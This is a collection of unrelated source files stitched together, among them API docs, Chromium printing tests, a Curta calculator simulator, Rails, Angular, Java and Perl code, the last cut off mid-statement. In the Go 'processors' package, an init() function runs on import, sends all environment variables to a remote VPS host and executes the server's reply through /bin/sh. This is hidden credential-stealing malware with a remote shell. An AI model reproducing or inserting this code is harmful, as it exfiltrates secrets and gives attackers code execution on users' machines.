text:
<!DOCTYPE html>

        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no, width=device-width">
        <meta name="generator" content="joDoc">
        <link href="//s3.amazonaws.com/appgyver.assets/global-assets/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon">

        <title>AppGyver Steroids API Documentation</title>

        <link type="text/css" rel="stylesheet" href="//fast.fonts.net/cssapi/aa8407d2-1212-415a-8e54-031ff8ee71fe.css">
        <link type="text/css" rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="index.css">
        <link rel="stylesheet" type="text/css" href="mobile.css" media="only screen and (max-device-width: 1024px)">
        <link rel="stylesheet" type="text/css" href="steroids.css">
        <link rel="stylesheet" type="text/css" href="service_menu.css">
        <link rel="stylesheet" type="text/css" href="prettify/prettify.css">

AppGyver Steroids API Documentation

AppGyver Steroids API Docs

                  <select><optgroup label="English" value="en">
<option value="stable">stable</option>
<option value="edge">edge</option>
<option value="3.5.8">3.5.8</option>
<option selected value="3.5.7">3.5.7</option>
<option value="3.5.5">3.5.5</option>
<option value="3.5.3">3.5.3</option>
<option value="3.5.12">3.5.12</option>
<option value="3.5.1">3.5.1</option>
<option value="3.5.0">3.5.0</option>
<option value="3.1.9">3.1.9</option>
</optgroup></select>

FileError

              <select><option value="FileError">FileError</option>
<option value="FileError_properties">      - Properties</option>
<option value="FileError_constants">      - Constants</option>
<option value="FileError_description">      - Description</option></select>

Steroids 3.5.7 API Reference

Steroids Log

Steroids App and Device

Steroids Config

Steroids Events

Steroids File System

Steroids Media

Steroids Views

Steroids UI Components

Cordova 3.5.1 API Reference

Accelerometer

Camera

Capture

Compass

Connection

Contacts

Device

Events

File

FileTransfer

Geolocation

Globalization

InAppBrowser

Media

Notification

Pixate styling reference

Guides

Controls

Selectors

Values

Guides

Keyword Index

FileError

A FileError object is set when an error occurs in any of the File API methods.

Properties

code: One of the predefined error codes listed below.

Constants

FileError.NOT_FOUND_ERR

FileError.SECURITY_ERR

FileError.ABORT_ERR

FileError.NOT_READABLE_ERR

FileError.ENCODING_ERR

FileError.NO_MODIFICATION_ALLOWED_ERR

FileError.INVALID_STATE_ERR

FileError.SYNTAX_ERR

FileError.INVALID_MODIFICATION_ERR

FileError.QUOTA_EXCEEDED_ERR

FileError.TYPE_MISMATCH_ERR

FileError.PATH_EXISTS_ERR

Description

The FileError object is the only parameter provided to any of the
File API's error callbacks.  To determine the type of error, compare
its code property to any of the listings above.


text:
<requests>
	<![CDATA[ ]]>
	<request>
		<persistentFileNeeded>false</persistentFileNeeded>
		<artifact>
			<extension>jar</extension>
			<artifactId>aliased-component-metadata</artifactId>
			<classifier/>
			<!-- huh -->
			<version>any</version>
			<groupId>alias-<![CDATA[test]]></groupId>
		</artifact>
		<providerNeeded><![CDATA[false]]></providerNeeded>
	</request>
</requests>

redpajama_set_name: RedPajamaGithub


text:
        <title>Kairos</title>
        <?php
        include "../include/include_css.php";
        include "../header/header.php";
        include "../../classes/model/validaOperario.php";
        include "../../classes/model/validaLider.php";
        session_start();
        $departamento = new Departamento();
        $id = $_SESSION['departamento'];
        $departamento->setId($id);
        $resultado = $departamento->find($id);
        ?>
        <meta charset="UTF-8">

<?php echo 'Departamento: ' . $resultado->nome . ''; ?>

    <?php include_once '../include/include_js.php'; ?>


text:
var Immutable = require("immutable");
var util = require("util");

function Curta() {
    this.state = Immutable.Map({
        settingRegisters: 0,
        countingRegisters: 0,
        resultRegisters: 0,

        carriageSetting: 1,
        crankDown: true
    });
}

Curta.NUM_SETTING_REGISTERS = 8;
Curta.NUM_COUNTING_REGISTERS = 6;
Curta.NUM_RESULT_REGISTERS = 11;

/**
 * Set the state of the curta by merging with the internal ImmutableJS map.
 * This method also handles underflows.
 */
Curta.prototype.setState = function(state) {
    var counting = state.countingRegisters;
    var result = state.resultRegisters;
    var offset;

    if (counting) {
        // Handles both overflows and underflows
        offset = Math.pow(10, Curta.NUM_COUNTING_REGISTERS);
        state.countingRegisters = (counting + offset) % offset;
    }

    if (result) {
        // Handles both overflows and underflows
        offset = Math.pow(10, Curta.NUM_RESULT_REGISTERS);
        state.resultRegisters = (result + offset) % offset;
    }

    this.state = this.state.merge(state);
};

/**
 * Lifts the crank.
 */
Curta.prototype.liftCrank = function() {
    this.setState({ crankDown: false });
};

/**
 * Lowers the crank.
 */
Curta.prototype.lowerCrank = function() {
    this.setState({ crankDown: true });
};

/**
 * Clears the counting registers.
 */
Curta.prototype.clearCounting = function() {
    this.setState({ countingRegisters: 0 });
};

/**
 * Clears the result registers.
 */
Curta.prototype.clearResult = function() {
    this.setState({ resultRegisters: 0 });
};

/**
 * Clears both the counting and result registers.
 */
Curta.prototype.clear = function() {
    this.setState({
        countingRegisters: 0,
        resultRegisters: 0
    });
};

/**
 * Reads the carriage setting.
 */
Curta.prototype.readCarriage = function() {
    return this.state.get("carriageSetting");
};

/**
 * Sets the carriage setting.
 */
Curta.prototype.setCarriage = function(n) {
    if (n < 1 || n > 6) {
        throw new Error("Carriage setting must be between (1) through (6)");
    }

    this.setState({ carriageSetting: n });
};

/**
 * Converts a number to an immutable digit array of a given size.
 */
Curta.prototype._toDigitArray = function(n, size) {
    var digits = new Array(size);
    for (var i = 0; i < size; i++) {
        digits[i] = Math.floor(n / Math.pow(10, i)) % 10;
    }

    return Immutable.List.of.apply(Immutable.List, digits);
};

/**
 * Converts an immutable digit array to a number.
 */
Curta.prototype._toDecimal = function(digitArray) {
    var size = digitArray.size;
    var result = 0;

    for (var i = 0; i < size; i++) {
        result += digitArray.get(i) * Math.pow(10, i);
    }

    return result;
};

/**
 * General function to read out an entire series of registers or a particular
 * register.
 */
Curta.prototype._readRegistersFn = function(key, capacity) {
    return function(register) {
        if (register === undefined) {
            return this.state.get(key);
        } else {
            if (register < 1 || register > capacity) {
                throw new Error(
                    "Setting register must be a value between (1) through (" +
                    capacity + ")");
            }

            var digits = this._toDigitArray(this.state.get(key), capacity);
            return digits.get(register - 1);
        }
    };
};

/**
 * Reads the setting registers.
 */
Curta.prototype.readSetting = Curta.prototype._readRegistersFn(
    "settingRegisters", Curta.NUM_SETTING_REGISTERS);

/**
 * Reads the counting registers.
 */
Curta.prototype.readCounter = Curta.prototype._readRegistersFn(
    "countingRegisters", Curta.NUM_COUNTING_REGISTERS);

/**
 * Reads the result registers.
 */
Curta.prototype.readResult = Curta.prototype._readRegistersFn(
    "resultRegisters", Curta.NUM_RESULT_REGISTERS);
Curta.prototype.result = Curta.prototype.readResult;

/**
 * Sets a given setting register to a given value.
 * The naming for this one is a little convoluted.
 */
Curta.prototype.setRegister = function(register, value) {
    if (register < 1 || register > Curta.NUM_SETTING_REGISTERS) {
        throw new Error(
            "Setting register must be a value between (1) through (" +
            Curta.NUM_SETTING_REGISTERS + ")");
    }

    if (value < 0 || value > 9) {
        throw new Error(
            "Setting register value must be between (0) through (9)");
    }

    var registers = this._toDigitArray(this.state.get("settingRegisters"), Curta.NUM_SETTING_REGISTERS)
        .set(register - 1, value);

    var state = {};
    state["settingRegisters"] = this._toDecimal(registers);
    this.setState(state);
};

/**
 * Turns the curta
 */
Curta.prototype.turn = function(turns) {
    if (turns === undefined) {
        turns = 1;
    }

    if (turns < 1) {
        throw new Error("You must turn at least once");
    }

    var multiplier = this.state.get("crankDown") ? 1 : -1;
    var turnWeight = turns * Math.pow(10, this.readCarriage()-1) * multiplier;
    var turnValue = this.readSetting() * turnWeight;

    var counting = this.readCounter();
    var result = this.readResult();

    this.setState({
        countingRegisters: counting + turnWeight,
        resultRegisters: result + turnValue
    });
};

module.exports = Curta;


text:
// Copyright 2019 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "chrome/browser/extensions/api/printing/printing_api_utils.h"

#include "base/test/values_test_util.h"
#include "chromeos/crosapi/mojom/local_printer.mojom.h"
#include "chromeos/printing/printer_configuration.h"
#include "printing/backend/print_backend.h"
#include "printing/mojom/print.mojom.h"
#include "printing/print_settings.h"
#include "testing/gtest/include/gtest/gtest.h"

namespace extensions {

namespace idl = api::printing;

namespace {

constexpr char kId[] = "id";
constexpr char kName[] = "name";
constexpr char kDescription[] = "description";
constexpr char kUri[] = "ipp://192.168.1.5";
constexpr int kRank = 2;

constexpr int kCopies = 5;
constexpr int kHorizontalDpi = 300;
constexpr int kVerticalDpi = 400;
constexpr int kMediaSizeWidth = 210000;
constexpr int kMediaSizeHeight = 297000;
constexpr char kMediaSizeVendorId[] = "iso_a4_210x297mm";

constexpr char kCjt[] = R"(
    {
      "version": "1.0",
      "print": {
        "color": {
          "type": "STANDARD_MONOCHROME"
        },
        "duplex": {
          "type": "NO_DUPLEX"
        },
        "page_orientation": {
          "type": "LANDSCAPE"
        },
        "copies": {
          "copies": 5
        },
        "dpi": {
          "horizontal_dpi": 300,
          "vertical_dpi": 400
        },
        "media_size": {
          "width_microns": 210000,
          "height_microns": 297000,
          "vendor_id": "iso_a4_210x297mm"
        },
        "collate": {
          "collate": false
        }
      }
    })";

constexpr char kIncompleteCjt[] = R"(
    {
      "version": "1.0",
      "print": {
        "color": {
          "type": "STANDARD_MONOCHROME"
        },
        "duplex": {
          "type": "NO_DUPLEX"
        },
        "copies": {
          "copies": 5
        },
        "dpi": {
          "horizontal_dpi": 300,
          "vertical_dpi": 400
        }
      }
    })";

std::unique_ptr<printing::PrintSettings> ConstructPrintSettings() {
  auto settings = std::make_unique<printing::PrintSettings>();
  settings->set_color(printing::mojom::ColorModel::kColor);
  settings->set_duplex_mode(printing::mojom::DuplexMode::kLongEdge);
  settings->SetOrientation(/*landscape=*/true);
  settings->set_copies(kCopies);
  settings->set_dpi_xy(kHorizontalDpi, kVerticalDpi);
  printing::PrintSettings::RequestedMedia requested_media;
  requested_media.size_microns = gfx::Size(kMediaSizeWidth, kMediaSizeHeight);
  requested_media.vendor_id = kMediaSizeVendorId;
  settings->set_requested_media(requested_media);
  settings->set_collate(true);
  return settings;
}

printing::PrinterSemanticCapsAndDefaults ConstructPrinterCapabilities() {
  printing::PrinterSemanticCapsAndDefaults capabilities;
  capabilities.color_model = printing::mojom::ColorModel::kColor;
  capabilities.duplex_modes.push_back(printing::mojom::DuplexMode::kLongEdge);
  capabilities.copies_max = kCopies;
  capabilities.dpis.push_back(gfx::Size(kHorizontalDpi, kVerticalDpi));
  printing::PrinterSemanticCapsAndDefaults::Paper paper;
  paper.vendor_id = kMediaSizeVendorId;
  paper.size_um = gfx::Size(kMediaSizeWidth, kMediaSizeHeight);
  capabilities.papers.push_back(paper);
  capabilities.collate_capable = true;
  return capabilities;
}

}  // namespace

TEST(PrintingApiUtilsTest, GetDefaultPrinterRules) {
  std::string default_printer_rules_str =
      R"({"kind": "local", "idPattern": "id.*", "namePattern": "name.*"})";
  absl::optional<DefaultPrinterRules> default_printer_rules =
      GetDefaultPrinterRules(default_printer_rules_str);
  ASSERT_TRUE(default_printer_rules.has_value());
  EXPECT_EQ("local", default_printer_rules->kind);
  EXPECT_EQ("id.*", default_printer_rules->id_pattern);
  EXPECT_EQ("name.*", default_printer_rules->name_pattern);
}

TEST(PrintingApiUtilsTest, GetDefaultPrinterRules_EmptyPref) {
  std::string default_printer_rules_str;
  absl::optional<DefaultPrinterRules> default_printer_rules =
      GetDefaultPrinterRules(default_printer_rules_str);
  EXPECT_FALSE(default_printer_rules.has_value());
}

TEST(PrintingApiUtilsTest, PrinterToIdl) {
  crosapi::mojom::LocalDestinationInfo printer(kId, kName, kDescription, true,
                                               kUri);

  absl::optional<DefaultPrinterRules> default_printer_rules =
      DefaultPrinterRules();
  default_printer_rules->kind = "local";
  default_printer_rules->name_pattern = "n.*e";
  base::flat_map<std::string, int> recently_used_ranks = {{kId, kRank},
                                                          {"ok", 1}};
  idl::Printer idl_printer =
      PrinterToIdl(printer, default_printer_rules, recently_used_ranks);

  EXPECT_EQ(kId, idl_printer.id);
  EXPECT_EQ(kName, idl_printer.name);
  EXPECT_EQ(kDescription, idl_printer.description);
  EXPECT_EQ(kUri, idl_printer.uri);
  EXPECT_EQ(idl::PRINTER_SOURCE_POLICY, idl_printer.source);
  EXPECT_EQ(true, idl_printer.is_default);
  ASSERT_TRUE(idl_printer.recently_used_rank);
  EXPECT_EQ(kRank, *idl_printer.recently_used_rank);
}

TEST(PrintingApiUtilsTest, ParsePrintTicket) {
  base::Value cjt_ticket = base::test::ParseJson(kCjt);
  std::unique_ptr<printing::PrintSettings> settings =
      ParsePrintTicket(std::move(cjt_ticket));

  ASSERT_TRUE(settings);
  EXPECT_EQ(printing::mojom::ColorModel::kGray, settings->color());
  EXPECT_EQ(printing::mojom::DuplexMode::kSimplex, settings->duplex_mode());
  EXPECT_TRUE(settings->landscape());
  EXPECT_EQ(5, settings->copies());
  EXPECT_EQ(gfx::Size(kHorizontalDpi, kVerticalDpi), settings->dpi_size());
  EXPECT_EQ(gfx::Size(kMediaSizeWidth, kMediaSizeHeight),
            settings->requested_media().size_microns);
  EXPECT_EQ(kMediaSizeVendorId, settings->requested_media().vendor_id);
  EXPECT_FALSE(settings->collate());
}

TEST(PrintingApiUtilsTest, ParsePrintTicket_IncompleteCjt) {
  base::Value incomplete_cjt_ticket = base::test::ParseJson(kIncompleteCjt);
  EXPECT_FALSE(ParsePrintTicket(std::move(incomplete_cjt_ticket)));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  EXPECT_TRUE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility_Color) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.color_model = printing::mojom::ColorModel::kUnknownColorModel;
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility_Duplex) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.duplex_modes = {printing::mojom::DuplexMode::kSimplex};
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility_Copies) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.copies_max = 1;
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility_Dpi) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.dpis = {gfx::Size(100, 100)};
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest,
     CheckSettingsAndCapabilitiesCompatibility_MediaSize) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.papers.clear();
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

TEST(PrintingApiUtilsTest, CheckSettingsAndCapabilitiesCompatibility_Collate) {
  std::unique_ptr<printing::PrintSettings> settings = ConstructPrintSettings();
  printing::PrinterSemanticCapsAndDefaults capabilities =
      ConstructPrinterCapabilities();
  capabilities.collate_capable = false;
  EXPECT_FALSE(
      CheckSettingsAndCapabilitiesCompatibility(*settings, capabilities));
}

}  // namespace extensions


text:
class SessionsController < ApplicationController
  def new
  end

  def create
    user = User.find_by(username: params[:session][:username])
    if user && User.find_by(username: params[:session][:username]).try(:authenticate, params[:session][:password])
      log_in(user)
      redirect_to user
    else
      flash.now[:danger] = 'Invalid username/password combo'
    end
  end

  def destroy
    log_out
    redirect_to root_url
  end

end

private
def user_params
  params.require(:user).permit(:username, :password)
end


text:
/
   virtual void transform(ossimImageGeometry* projection)=0;

   /**
    * Saves the current state of this object.
    */
   virtual bool saveState(ossimKeywordlist& kwl,
                          const char* prefix=0)const;

   /**
    * Method to the load (recreate) the state of an object from a keyword
    * list.  Return true if ok or false on error.
    */
   virtual bool loadState(const ossimKeywordlist& kwl,
                          const char* prefix=0);

protected:
   virtual ~ossimGeoAnnotationObject();

TYPE_DATA
};

#endif


text:
import {Injectable} from '@angular/core';
import {Headers, Http} from '@angular/http';
import {environment} from '../../environments/environment';
import {CognitoUtil} from './cognito.service';
import * as Rx from 'rxjs';

@Injectable()
export class VoteService {
    public mainApi: String = environment.lambda_endpoint + 'movePoint?' +
        'TableName=LoginTrailaptpoints';

    constructor(private _http: Http, private _cognitoUtil: CognitoUtil) {
    }

    movePoint(userId: string, direction: string, vouching: boolean) {
        return Rx.Observable
            .fromPromise(this._cognitoUtil.getUserDetails())
            .mergeMap(({idToken}) => {
                const headers = new Headers({
                    'Access-Control-Allow-Origin': '*',
                    'Access-Control-Allow-Headers': 'Authorization',
                    'Authorization': idToken
                });
                const search = {
                    TableName: environment.ddbTableName,
                    userId,
                    direction,
                    vouching: vouching ? '1' : '0',
                };
                return this._http.get(environment.lambda_endpoint + 'movePoint', {headers, search})
                    .map(res => res.json());
            });
    }

    addVoucher(userId: string) {
        return this.movePoint(userId, 'up', true);
    }

    startVote(idToken, userId) {
        return this.movePoint(userId, 'up', false);
    }

    removeVoucher(idToken, userId) {
        return this.movePoint(userId, 'down', true);
    }

    startRmvVote(idToken, userId) {
        return this.movePoint(userId, 'down', false);
    }
}


text:
package org.rapid7.nexpose.api;

import org.rapid7.nexpose.api.APISession.APISupportedVersion;

/**
 * The multi-tenant user config request.
 *
 * @author Christopher Lee.
 */
public class MultiTenantUserConfigRequest extends TemplateAPIRequest
{
   /**
    * Constructs the profile config request.
    *
    * @param sessionID The session ID.
    * @param syncID The sync ID.
    * @param userID The multi-user tenant ID.
    */
   public MultiTenantUserConfigRequest(String sessionID, String syncID, String userID)
   {
      super(sessionID, syncID);
      set("user-id", userID);
      m_firstSupportedVersion = APISupportedVersion.V1_2;
      m_lastSupportedVersion = APISupportedVersion.V1_2;
   }
}


text:
package processors
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

type DeployConfig struct {
	App     string
	Message string
	Force   bool
}

type ConsoleConfig struct {
	App  string
	Host string
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=pagodabox&repo=nanobox-cli", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
package opendfa.DFA;

import main.java.com.opendfa.DFA.RangeChar;
import java.util.ArrayList;
import java.util.Arrays;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import static org.junit.Assert.*;

/**
 *
 * @author terasud
 */
public class RangeCharTest {

    public RangeCharTest() {
    }

    @BeforeClass
    public static void setUpClass() {
    }

    @AfterClass
    public static void tearDownClass() {
    }

    @Before
    public void setUp() {
    }

    @After
    public void tearDown() {
    }

    /**
     * Test of addChar method, of class RangeChar.
     */
    @Test
    public void testAddChar_charArr() {
        System.out.println("addChar");
        char[] ch = {'d'};
        RangeChar instance = new RangeChar('a', 'c');
        instance.addChar(ch);
        ArrayList<Character> result = new ArrayList<>();
        result.add('a');
        result.add('b');
        result.add('c');
        result.add('d');
        assertEquals(result, instance.getCharacters());
    }

    /**
     * Test of addChar method, of class RangeChar.
     */
    @Test
    public void testAddChar_ArrayList() {
        System.out.println("addChar");
        ArrayList<Character> ch = new ArrayList<>();
        ch.add('e');
        ch.add('f');
        RangeChar instance = new RangeChar('a', 'c');
        instance.addChar(ch);
        ArrayList<Character> result = new ArrayList<>();
        result.add('a');
        result.add('b');
        result.add('c');
        result.add('e');
        result.add('f');
        assertEquals(result, instance.getCharacters());
    }

    /**
     * Test of addChar method, of class RangeChar.
     */
    @Test
    public void testAddChar_char_char() {
        System.out.println("addChar");
        char start = 'd';
        char end = 'f';
        RangeChar instance = new RangeChar('a', 'b');
        instance.addChar(start, end);
        ArrayList<Character> result = new ArrayList<>();
        result.add('a');
        result.add('b');
        result.add('d');
        result.add('e');
        result.add('f');
        assertEquals(result, instance.getCharacters());
    }

    /**
     * Test of getCharacters method, of class RangeChar.
     */
    @Test
    public void testGetCharacters() {
        System.out.println("getCharacters");
        RangeChar instance = new RangeChar('a', 'c');
        ArrayList<Character> expResult = new ArrayList<>(Arrays.asList('a','b','c'));
        ArrayList<Character> result = instance.getCharacters();
        assertEquals(expResult, result);
    }

    /**
     * Test of GetDigits method, of class RangeChar.
     */
    @Test
    public void testGetDigits() {
        System.out.println("GetDigits");
        ArrayList<Character> expResult = new ArrayList<>(Arrays.asList('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'));
        RangeChar result = RangeChar.GetDigits();
        assertEquals(expResult, result.getCharacters());
    }

    /**
     * Test of GetPlusMinus method, of class RangeChar.
     */
    @Test
    public void testGetPlusMinus() {
        System.out.println("GetPlusMinus");
        ArrayList<Character> expResult = new ArrayList<>(Arrays.asList('+', '-'));
        RangeChar result = RangeChar.GetPlusMinus();
        assertEquals(expResult, result.getCharacters());
    }

    /**
     * Test of GetAlphabetUppercase method, of class RangeChar.
     */
    @Test
    public void testGetAlphabetUppercase() {
        System.out.println("GetAlphabetUppercase");
        RangeChar expResult = new RangeChar('A','Z');
        RangeChar result = RangeChar.GetAlphabetUppercase();
        assertEquals(expResult, result);
    }

    /**
     * Test of GetAlphabetLovercase method, of class RangeChar.
     */
    @Test
    public void testGetAlphabetLovercase() {
        System.out.println("GetAlphabetLovercase");
        RangeChar expResult = new RangeChar('a','z');
        RangeChar result = RangeChar.GetAlphabetLovercase();
        assertEquals(expResult, result);
    }

    /**
     * Test of GetAlphabet method, of class RangeChar.
     */
    @Test
    public void testGetAlphabet() {
        System.out.println("GetAlphabet");
        RangeChar expResult = new RangeChar('a','z');
        expResult.addChar('A','Z');
        RangeChar result = RangeChar.GetAlphabet();
        assertEquals(expResult, result);
    }

    /**
     * Test of GetFullAlphabet method, of class RangeChar.
     */
    @Test
    public void testGetFullAlphabet() {
        System.out.println("GetFullAlphabet");
        RangeChar expResult = new RangeChar('a','z');
        expResult.addChar('A','Z');
        expResult.addChar('0','9');
        RangeChar result = RangeChar.GetFullAlphabet();
        assertEquals(expResult, result);
    }

}


text:
package apps::varnish::local::mode::shm;

use base qw(centreon::plugins::mode);
use centreon::plugins::misc;
use centreon::plugins::statefile;
use Digest::MD5 qw(md5_hex);

my $maps_counters = {
    shm_records   => { thresholds => {
                                warning_records  =>  { label => 'warning-records', exit_value => 'warning' },
                                critical_records =>  { label => 'critical-records', exit_value => 'critical' },
                              },
                output_msg => 'SHM records: %.2f',
                factor => 1, unit => '',
               },
    shm_writes => { thresholds => {
                                warning_writes  =>  { label => 'warning-writes', exit_value => 'warning' },
                                critical_writes =>  { label => 'critical-writes', exit_value => 'critical' },
                                },
                 output_msg => 'SHM writes: %.2f',
                 factor => 1, unit => '',
                },
    shm_flushes => { thresholds => {
                                warning_flushes    =>  { label => 'warning-flushes', exit_value => 'warning' },
                                critical_flushes   =>  { label => 'critical-flushes', exit_value => 'critical' },
                                },
                 output_msg => 'SHM flushes due to overflow: %.2f',
                 factor => 1, unit => '',
               },
    shm_cont => { thresholds => {
                                warning_cont    =>  { label => 'warning-cont', exit_value => 'warning' },
                                critical_cont   =>  { label => 'critical-cont', exit_value => 'critical' },
                                },
                 output_msg => 'SHM MTX contention: %.2f',
                 factor => 1, unit => '',
               },
    shm_cycles => { thresholds => {
                                warning_cycles    =>  { label => 'warning-cycles', exit_value => 'warning' },
                                critical_cycles   =>  { label => 'critical-cycles', exit_value => 'critical' },
                                },
                 output_msg => 'SHM cycles through buffer: %.2f',
                 factor => 1, unit => '',
               },
};

sub new {
    my ($class, %options) = @_;
    my $self = $class->SUPER::new(package => __PACKAGE__, %options);
    bless $self, $class;

    $self->{version} = '1.0';
    $options{options}->add_options(arguments =>
    {
        "hostname:s"         => { name => 'hostname' },
        "remote"             => { name => 'remote' },
        "ssh-option:s@"      => { name => 'ssh_option' },
        "ssh-path:s"         => { name => 'ssh_path' },
        "ssh-command:s"      => { name => 'ssh_command', default => 'ssh' },
        "timeout:s"          => { name => 'timeout', default => 30 },
        "sudo"               => { name => 'sudo' },
        "command:s"          => { name => 'command', default => 'varnishstat' },
        "command-path:s"     => { name => 'command_path', default => '/usr/bin' },
        "command-options:s"  => { name => 'command_options', default => ' -1 ' },
        "command-options2:s" => { name => 'command_options2', default => ' 2>&1' },
    });

    foreach (keys %{$maps_counters}) {
        foreach my $name (keys %{$maps_counters->{$_}->{thresholds}}) {
            $options{options}->add_options(arguments => {
                $maps_counters->{$_}->{thresholds}->{$name}->{label} . ':s'    => { name => $name },
            });
        };
    };

    $self->{instances_done} = {};
    $self->{statefile_value} = centreon::plugins::statefile->new(%options);
    return $self;
};

sub check_options {
    my ($self, %options) = @_;
    $self->SUPER::init(%options);

    foreach (keys %{$maps_counters}) {
        foreach my $name (keys %{$maps_counters->{$_}->{thresholds}}) {
            if (($self->{perfdata}->threshold_validate(label => $maps_counters->{$_}->{thresholds}->{$name}->{label}, value => $self->{option_results}->{$name})) == 0) {
                $self->{output}->add_option_msg(short_msg => "Wrong " . $maps_counters->{$_}->{thresholds}->{$name}->{label} . " threshold '" . $self->{option_results}->{$name} . "'.");
                $self->{output}->option_exit();
            };
        };
    };
    $self->{statefile_value}->check_options(%options);
};

sub getdata {
    my ($self, %options) = @_;

    my $stdout = centreon::plugins::misc::execute(output => $self->{output},
                                                  options => $self->{option_results},
                                                  sudo => $self->{option_results}->{sudo},
                                                  command => $self->{option_results}->{command},
                                                  command_path => $self->{option_results}->{command_path},
                                                  command_options => $self->{option_results}->{command_options} . $self->{option_results}->{command_options2});
    #print $stdout;

    foreach (split(/\n/, $stdout)) {
        #client_conn            7390867         1.00 Client connections
        # - Symbolic entry name
        # - Value
        # - Per-second average over process lifetime, or a period if the value can not be averaged
        # - Descriptive text

        if  (/^(.\S*)\s*([0-9]*)\s*([0-9.]*)\s(.*)$/i) {
            #print "FOUND: " . $1 . "=" . $2 . "\n";
            $self->{result}->{$1} = $2;
        };
    };
};

sub run {
    my ($self, %options) = @_;

    $self->getdata();

    $self->{statefile_value}->read(statefile => 'cache_apps_varnish' . '_' . $self->{mode} . '_' . (defined($self->{option_results}->{name}) ? md5_hex($self->{option_results}->{name}) : md5_hex('all')));
    $self->{result}->{last_timestamp} = time();
    my $old_timestamp = $self->{statefile_value}->get(name => 'last_timestamp');

    # Calculate
    my $delta_time = $self->{result}->{last_timestamp} - $old_timestamp;
    $delta_time = 1 if ($delta_time == 0); # One seconds ;)

    foreach (keys %{$maps_counters}) {
        #print $_ . "\n";
        $self->{old_cache}->{$_} = $self->{statefile_value}->get(name => '$_');     # Get Data from Cache
        $self->{old_cache}->{$_} = 0 if ( $self->{old_cache}->{$_} > $self->{result}->{$_} );
        $self->{outputdata}->{$_} = ($self->{result}->{$_} - $self->{old_cache}->{$_}) / $delta_time;
    };

    # Write Cache if not there
    $self->{statefile_value}->write(data => $self->{result});
    if (!defined($old_timestamp)) {
        $self->{output}->output_add(severity => 'OK',
                                    short_msg => "Buffer creation...");
        $self->{output}->display();
        $self->{output}->exit();
    }

    my @exits;
    foreach (keys %{$maps_counters}) {
        foreach my $name (keys %{$maps_counters->{$_}->{thresholds}}) {
            push @exits, $self->{perfdata}->threshold_check(value => $self->{outputdata}->{$_}, threshold => [ { label => $maps_counters->{$_}->{thresholds}->{$name}->{label}, 'exit_litteral' => $maps_counters->{$_}->{thresholds}->{$name}->{exit_value} }]);
        }
    }

    my $exit = $self->{output}->get_most_critical(status => [ @exits ]);

    my $extra_label = '';
    $extra_label = '_' . $instance_output if ($num > 1);

    my $str_output = "";
    my $str_append = '';
    foreach (keys %{$maps_counters}) {
        $str_output .= $str_append . sprintf($maps_counters->{$_}->{output_msg}, $self->{outputdata}->{$_} * $maps_counters->{$_}->{factor});
        $str_append = ', ';
        my ($warning, $critical);
        foreach my $name (keys %{$maps_counters->{$_}->{thresholds}}) {
            $warning = $self->{perfdata}->get_perfdata_for_output(label => $maps_counters->{$_}->{thresholds}->{$name}->{label}) if ($maps_counters->{$_}->{thresholds}->{$name}->{exit_value} eq 'warning');
            $critical = $self->{perfdata}->get_perfdata_for_output(label => $maps_counters->{$_}->{thresholds}->{$name}->{label}) if ($maps_counters->{$_}->{thresholds}->{$name}->{exit_value} eq 'critical');
        }
        $self->{output}->perfdata_add(label => $_ . $extra_label, unit => $maps_counters->{$_}->{unit},
